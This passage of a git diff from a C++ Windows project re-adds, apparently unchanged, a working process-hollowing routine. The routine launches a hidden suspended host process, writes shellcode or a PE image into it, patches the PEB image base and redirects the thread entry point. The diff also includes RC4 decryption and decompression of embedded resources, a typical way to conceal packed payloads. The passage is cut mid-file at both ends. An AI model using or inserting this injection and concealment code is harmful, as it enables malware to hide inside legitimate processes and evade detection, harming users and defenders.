CREATE_NO_WINDOW, - (LPVOID) GET_FIELD_SAFE(info, env, 0), GET_FIELD_SAFE(info, dir, 0), &si, &pi); - } - else - { - process_created = CreateProcessA(nullptr, process_params, nullptr, nullptr, - GET_FIELD_SAFE(info, inherit_handles, false), CREATE_SUSPENDED | CREATE_NO_WINDOW, - (LPVOID) GET_FIELD_SAFE(info, env, 0), GET_FIELD_SAFE(info, dir, 0), &si, &pi); - } - delete[] process_params; - process_params = nullptr; - - if (!process_created) - { - LOG_ERROR("Could not create fork process [%d]", NtLastError()); - return pi; - } - - HANDLE hProcess = pi.hProcess; - CONTEXT ctx = { 0 }; - ctx.ContextFlags = CONTEXT_INTEGER; - - if (FAILED(NtGetContextThread(pi.hThread, &ctx))) - { - LOG_ERROR("Could not get thread context"); - break; - } -#ifdef _M_X64 - auto* peb = (PPEB)ctx.Rdx; -#else - auto* peb = (PPEB)ctx.Ebx; -#endif - - PVOID pBase = nullptr; - if (FAILED(NtReadVirtualMemory(hProcess, &peb->ImageBaseAddress, &pBase, sizeof(SIZE_T), nullptr))) - { - LOG_ERROR("Could not read remote image base"); - return pi; - } - //ZwUnmapViewOfSection( hNewProc, pBase ); // with this some processes stop working - - PVOID base = nullptr; - SIZE_T entryPoint = 0; - if (unsigned shellcode_len = GET_FIELD_SAFE(info, shellcode_len, 0)) - { - // Inject shellcode - base = pi.base_address = VirtualAllocEx(hProcess, nullptr, shellcode_len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - entryPoint = reinterpret_cast(base); - - if (!base) - { - LOG_ERROR("Could not allocate memory for shellcode [%d]", GetLastError()); - break; - } - - if (FAILED(NtWriteVirtualMemory(hProcess, base, image, shellcode_len, nullptr))) - { - LOG_ERROR("Failed to write shellcode [%d]", GetLastError()); - break; - } - } - else - { - // Inject a PE image - auto dh = reinterpret_cast(image); - auto nh = PIMAGE_NT_HEADERS(dh->e_lfanew + PBYTE(image)); - - if (dh->e_magic != IMAGE_DOS_SIGNATURE || nh->Signature != IMAGE_NT_SIGNATURE) - { - LOG_ERROR("Image is not a valid PE"); - break; - } - - base = pi.base_address = VirtualAllocEx(hProcess, nullptr, - nh->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); - entryPoint = SIZE_T(base) + nh->OptionalHeader.AddressOfEntryPoint; - - if (!base) - { - LOG_ERROR("Could not allocate memory for image"); - break; - } - - // Copy header - if (FAILED(NtWriteVirtualMemory(hProcess, base, image, nh->OptionalHeader.SizeOfHeaders, nullptr))) - { - LOG_ERROR("Failed to write image"); - break; - } - - // Protect header - if (FAILED(VirtualProtectEx(hProcess, base, nh->OptionalHeader.SizeOfHeaders, PAGE_READONLY, nullptr))) - { - LOG_ERROR("Failed to protect PE header %d", GetLastError()); - break; - } - - // Copy sections - PIMAGE_SECTION_HEADER sect = IMAGE_FIRST_SECTION(nh); - for (unsigned long i = 0; i < nh->FileHeader.NumberOfSections; i++) - { - PCHAR section_address = PCHAR(base) + sect[i].VirtualAddress; - if (FAILED(NtWriteVirtualMemory(hProcess, section_address, - PCHAR(image) + sect[i].PointerToRawData, sect[i].SizeOfRawData, nullptr))) - { - LOG_ERROR("Failed to write section data"); - break; - } - } - - // Protect sections - sect = IMAGE_FIRST_SECTION(nh); - for (unsigned long i = 0; i < nh->FileHeader.NumberOfSections; i++) - { - PCHAR section_address = PCHAR(base) + sect[i].VirtualAddress; - // e r w - DWORD scn_to_memprot_flags[2][2][2] = { - {{PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE}}, - {{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}} - }; - DWORD section_flags = scn_to_memprot_flags - [(sect[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) ? 1 : 0] - [(sect[i].Characteristics & IMAGE_SCN_MEM_READ) ? 1 : 0] - [(sect[i].Characteristics & IMAGE_SCN_MEM_WRITE) ? 1 : 0]; - - if (sect[i].Characteristics & IMAGE_SCN_MEM_NOT_CACHED) - section_flags |= PAGE_NOCACHE; - - if (FAILED(VirtualProtectEx(hProcess, section_address, sect[i].SizeOfRawData, section_flags, nullptr))) - { - LOG_ERROR("Failed to change section memory protection [%d]", GetLastError()); - break; - } - } - - // Update PEB with new image base - if (FAILED(NtWriteVirtualMemory(hProcess, &peb->ImageBaseAddress, &base, sizeof(SIZE_T), nullptr))) - { - LOG_ERROR("Failed to write new peb address"); - break; - } - } - -#ifdef _M_X64 - ctx.Rcx = entryPoint; - ctx.SegGs = 0; - ctx.SegFs = 0x53; - ctx.SegEs = 0x2B; - ctx.SegDs = 0x2B; - ctx.SegSs = 0x2B; - ctx.SegCs = 0x33; - ctx.EFlags = 0x3000; -#else - ctx.Eax = entryPoint; - ctx.SegGs = 0; - ctx.SegFs = 0x38; - ctx.SegEs = 0x20; - ctx.SegDs = 0x20; - ctx.SegSs = 0x20; - ctx.SegCs = 0x18; - ctx.EFlags = 0x3000; -#endif - - if (FAILED(NtSetContextThread(pi.hThread, &ctx))) - { - LOG_ERROR("Could not set new thread context"); - break; - } - - // Success - return pi; - } while (false); - - // Failure - TerminateProcess(pi.hProcess, 0); - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - return {}; -} +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include "process_hollowing.h" +#include "debug.h" + +#define GET_FIELD_SAFE(s, field, def) ((s) ? ((s)->field) : (def)) + +hollow_process_information hollow_process(void* image, const char* host, hollow_process_startup_info* info) +{ + hollow_process_information pi{}; + STARTUPINFOA si{}; + + do + { + si.cb = sizeof(STARTUPINFOA); + si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + si.hStdInput = GetStdHandle(STD_INPUT_HANDLE); + si.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE); + si.hStdError = GetStdHandle(STD_ERROR_HANDLE); + + auto params_size = strlen(host) + 1 /* space between app and args */; + if (auto* args = GET_FIELD_SAFE(info, args, nullptr)) + params_size += strlen(args); + params_size += 1 /* terminating null */; + + char* process_params = new char[params_size]{}; + strcat(process_params, host); + + if (info && info->args) + { + strcat(process_params, " "); + strcat(process_params, info->args); + } + + BOOL process_created = FALSE; + if (HANDLE user_token = GET_FIELD_SAFE(info, user_token, 0)) + { + si.lpDesktop = const_cast("winsta0\\default"); + process_created = CreateProcessAsUser(user_token, nullptr, process_params, nullptr, nullptr, + GET_FIELD_SAFE(info, inherit_handles, false), CREATE_SUSPENDED | CREATE_NO_WINDOW, + (LPVOID) GET_FIELD_SAFE(info, env, 0), GET_FIELD_SAFE(info, dir, 0), &si, &pi); + } + else + { + process_created = CreateProcessA(nullptr, process_params, nullptr, nullptr, + GET_FIELD_SAFE(info, inherit_handles, false), CREATE_SUSPENDED | CREATE_NO_WINDOW, + (LPVOID) GET_FIELD_SAFE(info, env, 0), GET_FIELD_SAFE(info, dir, 0), &si, &pi); + } + delete[] process_params; + process_params = nullptr; + + if (!process_created) + { + LOG_ERROR("Could not create fork process [%d]", NtLastError()); + return pi; + } + + HANDLE hProcess = pi.hProcess; + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_INTEGER; + + if (FAILED(NtGetContextThread(pi.hThread, &ctx))) + { + LOG_ERROR("Could not get thread context"); + break; + } +#ifdef _M_X64 + auto* peb = (PPEB)ctx.Rdx; +#else + auto* peb = (PPEB)ctx.Ebx; +#endif + + PVOID pBase = nullptr; + if (FAILED(NtReadVirtualMemory(hProcess, &peb->ImageBaseAddress, &pBase, sizeof(SIZE_T), nullptr))) + { + LOG_ERROR("Could not read remote image base"); + return pi; + } + //ZwUnmapViewOfSection( hNewProc, pBase ); // with this some processes stop working + + PVOID base = nullptr; + SIZE_T entryPoint = 0; + if (unsigned shellcode_len = GET_FIELD_SAFE(info, shellcode_len, 0)) + { + // Inject shellcode + base = pi.base_address = VirtualAllocEx(hProcess, nullptr, shellcode_len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + entryPoint = reinterpret_cast(base); + + if (!base) + { + LOG_ERROR("Could not allocate memory for shellcode [%d]", GetLastError()); + break; + } + + if (FAILED(NtWriteVirtualMemory(hProcess, base, image, shellcode_len, nullptr))) + { + LOG_ERROR("Failed to write shellcode [%d]", GetLastError()); + break; + } + } + else + { + // Inject a PE image + auto dh = reinterpret_cast(image); + auto nh = PIMAGE_NT_HEADERS(dh->e_lfanew + PBYTE(image)); + + if (dh->e_magic != IMAGE_DOS_SIGNATURE || nh->Signature != IMAGE_NT_SIGNATURE) + { + LOG_ERROR("Image is not a valid PE"); + break; + } + + base = pi.base_address = VirtualAllocEx(hProcess, nullptr, + nh->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + entryPoint = SIZE_T(base) + nh->OptionalHeader.AddressOfEntryPoint; + + if (!base) + { + LOG_ERROR("Could not allocate memory for image"); + break; + } + + // Copy header + if (FAILED(NtWriteVirtualMemory(hProcess, base, image, nh->OptionalHeader.SizeOfHeaders, nullptr))) + { + LOG_ERROR("Failed to write image"); + break; + } + + // Protect header + if (FAILED(VirtualProtectEx(hProcess, base, nh->OptionalHeader.SizeOfHeaders, PAGE_READONLY, nullptr))) + { + LOG_ERROR("Failed to protect PE header %d", GetLastError()); + break; + } + + // Copy sections + PIMAGE_SECTION_HEADER sect = IMAGE_FIRST_SECTION(nh); + for (unsigned long i = 0; i < nh->FileHeader.NumberOfSections; i++) + { + PCHAR section_address = PCHAR(base) + sect[i].VirtualAddress; + if (FAILED(NtWriteVirtualMemory(hProcess, section_address, + PCHAR(image) + sect[i].PointerToRawData, sect[i].SizeOfRawData, nullptr))) + { + LOG_ERROR("Failed to write section data"); + break; + } + } + + // Protect sections + sect = IMAGE_FIRST_SECTION(nh); + for (unsigned long i = 0; i < nh->FileHeader.NumberOfSections; i++) + { + PCHAR section_address = PCHAR(base) + sect[i].VirtualAddress; + // e r w + DWORD scn_to_memprot_flags[2][2][2] = { + {{PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE}}, + {{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}} + }; + DWORD section_flags = scn_to_memprot_flags + [(sect[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) ? 1 : 0] + [(sect[i].Characteristics & IMAGE_SCN_MEM_READ) ? 1 : 0] + [(sect[i].Characteristics & IMAGE_SCN_MEM_WRITE) ? 1 : 0]; + + if (sect[i].Characteristics & IMAGE_SCN_MEM_NOT_CACHED) + section_flags |= PAGE_NOCACHE; + + if (FAILED(VirtualProtectEx(hProcess, section_address, sect[i].SizeOfRawData, section_flags, nullptr))) + { + LOG_ERROR("Failed to change section memory protection [%d]", GetLastError()); + break; + } + } + + // Update PEB with new image base + if (FAILED(NtWriteVirtualMemory(hProcess, &peb->ImageBaseAddress, &base, sizeof(SIZE_T), nullptr))) + { + LOG_ERROR("Failed to write new peb address"); + break; + } + } + +#ifdef _M_X64 + ctx.Rcx = entryPoint; + ctx.SegGs = 0; + ctx.SegFs = 0x53; + ctx.SegEs = 0x2B; + ctx.SegDs = 0x2B; + ctx.SegSs = 0x2B; + ctx.SegCs = 0x33; + ctx.EFlags = 0x3000; +#else + ctx.Eax = entryPoint; + ctx.SegGs = 0; + ctx.SegFs = 0x38; + ctx.SegEs = 0x20; + ctx.SegDs = 0x20; + ctx.SegSs = 0x20; + ctx.SegCs = 0x18; + ctx.EFlags = 0x3000; +#endif + + if (FAILED(NtSetContextThread(pi.hThread, &ctx))) + { + LOG_ERROR("Could not set new thread context"); + break; + } + + // Success + return pi; + } while (false); + + // Failure + TerminateProcess(pi.hProcess, 0); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return {}; +} diff --git a/src/shared/process_hollowing.h b/src/shared/process_hollowing.h index ef7c661..049b5c9 100644 --- a/src/shared/process_hollowing.h +++ b/src/shared/process_hollowing.h @@ -1,50 +1,50 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#pragma once - -#include - -struct hollow_process_startup_info -{ - const char* dir = nullptr; - const char* args = nullptr; - const char* env = nullptr; - HANDLE user_token = nullptr; - bool inherit_handles = false; - unsigned shellcode_len = 0; -}; - -struct hollow_process_information : PROCESS_INFORMATION -{ - hollow_process_information() : PROCESS_INFORMATION() - { - hProcess = nullptr; - hThread = nullptr; - dwProcessId = 0; - dwThreadId = 0; - } - void* base_address = nullptr; -}; - -hollow_process_information hollow_process(void* image, const char* host, hollow_process_startup_info* info); +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +#include + +struct hollow_process_startup_info +{ + const char* dir = nullptr; + const char* args = nullptr; + const char* env = nullptr; + HANDLE user_token = nullptr; + bool inherit_handles = false; + unsigned shellcode_len = 0; +}; + +struct hollow_process_information : PROCESS_INFORMATION +{ + hollow_process_information() : PROCESS_INFORMATION() + { + hProcess = nullptr; + hThread = nullptr; + dwProcessId = 0; + dwThreadId = 0; + } + void* base_address = nullptr; +}; + +hollow_process_information hollow_process(void* image, const char* host, hollow_process_startup_info* info); diff --git a/src/shared/rc4.cpp b/src/shared/rc4.cpp index eee3a7b..1340415 100644 --- a/src/shared/rc4.cpp +++ b/src/shared/rc4.cpp @@ -1,56 +1,56 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#include -#include "rc4.h" - - -void rc4_init(struct rc4_ctx* ctx, const unsigned char* key, int key_len) -{ - for (unsigned i = 0; i < 256; i++) - ctx->s[i] = (unsigned char) i; - - unsigned j = 0; - for (unsigned i = 0; i < 256; i++) - { - j = (j + ctx->s[i] + key[i % key_len]) % 256; - std::swap(ctx->s[i], ctx->s[j]); - } -} - -void rc4_init(struct rc4_ctx* ctx, uint64_t key) -{ - rc4_init(ctx, (uint8_t*)&key, sizeof(key)); -} - -void rc4_xor(struct rc4_ctx* ctx, unsigned char* buff, int len) -{ - unsigned x = 0, y = 0; - for (int i = 0; i < len; i++) - { - x = (x + 1) % 256; - y = (y + ctx->s[x]) % 256; - std::swap(ctx->s[x], ctx->s[y]); - buff[i] ^= ctx->s[(ctx->s[x] + ctx->s[y]) % 256]; - } -} +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include "rc4.h" + + +void rc4_init(struct rc4_ctx* ctx, const unsigned char* key, int key_len) +{ + for (unsigned i = 0; i < 256; i++) + ctx->s[i] = (unsigned char) i; + + unsigned j = 0; + for (unsigned i = 0; i < 256; i++) + { + j = (j + ctx->s[i] + key[i % key_len]) % 256; + std::swap(ctx->s[i], ctx->s[j]); + } +} + +void rc4_init(struct rc4_ctx* ctx, uint64_t key) +{ + rc4_init(ctx, (uint8_t*)&key, sizeof(key)); +} + +void rc4_xor(struct rc4_ctx* ctx, unsigned char* buff, int len) +{ + unsigned x = 0, y = 0; + for (int i = 0; i < len; i++) + { + x = (x + 1) % 256; + y = (y + ctx->s[x]) % 256; + std::swap(ctx->s[x], ctx->s[y]); + buff[i] ^= ctx->s[(ctx->s[x] + ctx->s[y]) % 256]; + } +} diff --git a/src/shared/rc4.h b/src/shared/rc4.h index 8b74059..712ee90 100644 --- a/src/shared/rc4.h +++ b/src/shared/rc4.h @@ -1,36 +1,36 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#pragma once - - -#include - -struct rc4_ctx -{ - unsigned char s[256]; -}; - -void rc4_init(struct rc4_ctx* ctx, const unsigned char* key, int key_len); -void rc4_init(struct rc4_ctx* ctx, uint64_t key); -void rc4_xor(struct rc4_ctx* ctx, unsigned char* buff, int len); +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + + +#include + +struct rc4_ctx +{ + unsigned char s[256]; +}; + +void rc4_init(struct rc4_ctx* ctx, const unsigned char* key, int key_len); +void rc4_init(struct rc4_ctx* ctx, uint64_t key); +void rc4_xor(struct rc4_ctx* ctx, unsigned char* buff, int len); diff --git a/src/shared/resources.cpp b/src/shared/resources.cpp index d1d37c9..4507b74 100644 --- a/src/shared/resources.cpp +++ b/src/shared/resources.cpp @@ -1,47 +1,47 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#include -#include "miniz.h" -#include "rc4.h" -#include "resources.h" - -bool resource_open(stl::vector& output, const uint8_t* data, unsigned dlen, const uint8_t* key, unsigned klen) -{ - if (output.size() < dlen) - return false; - - stl::vector decrypted{}; - decrypted.resize(dlen); - memcpy(decrypted.data(), data, dlen); - - rc4_ctx rc4{}; - rc4_init(&rc4, key, klen); - rc4_xor(&rc4, decrypted.data(), dlen); - - mz_ulong size = (mz_ulong)output.size(); - if (mz_uncompress(output.data(), &size, decrypted.data(), (mz_ulong)decrypted.size()) != MZ_OK) - return false; - - return size == output.size(); -} +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#include +#include "miniz.h" +#include "rc4.h" +#include "resources.h" + +bool resource_open(stl::vector& output, const uint8_t* data, unsigned dlen, const uint8_t* key, unsigned klen) +{ + if (output.size() < dlen) + return false; + + stl::vector decrypted{}; + decrypted.resize(dlen); + memcpy(decrypted.data(), data, dlen); + + rc4_ctx rc4{}; + rc4_init(&rc4, key, klen); + rc4_xor(&rc4, decrypted.data(), dlen); + + mz_ulong size = (mz_ulong)output.size(); + if (mz_uncompress(output.data(), &size, decrypted.data(), (mz_ulong)decrypted.size()) != MZ_OK) + return false; + + return size == output.size(); +} diff --git a/src/shared/resources.h b/src/shared/resources.h index af93640..bf85241 100644 --- a/src/shared/resources.h +++ b/src/shared/resources.h @@ -1,30 +1,30 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the -// Software is furnished to do so, subject to the following conditions: -// -// The above copyright notice and this permission notice shall be included in -// all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -// DEALINGS IN THE SOFTWARE. -// -#pragma once - - -#include -#include - -bool resource_open(stl::vector& output, const uint8_t* data, unsigned dlen, const uint8_t* key, unsigned klen); +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + + +#include +#include + +bool resource_open(stl::vector& output, const uint8_t* data, unsigned dlen, const uint8_t* key, unsigned klen); diff --git a/src/shared/win32.cpp b/src/shared/win32.cpp index 7981823..e2a4d07 100644 --- a/src/shared/win32.cpp +++ b/src/shared/win32.cpp @@ -1,56 +1,56 @@ -// -// MIT License -// -// Copyright (c) 2019 Rokas Kupstys -// -// Permission is hereby granted, free of charge, to any person obtaining a -// copy of this software and associated documentation files (the "Software"), -// to deal in the Software without restriction, including without limitation -// the rights to use, copy, modify, merge, publish, distribute, sublicense, -// and/or sell copies of the Software, and to permit persons to whom the 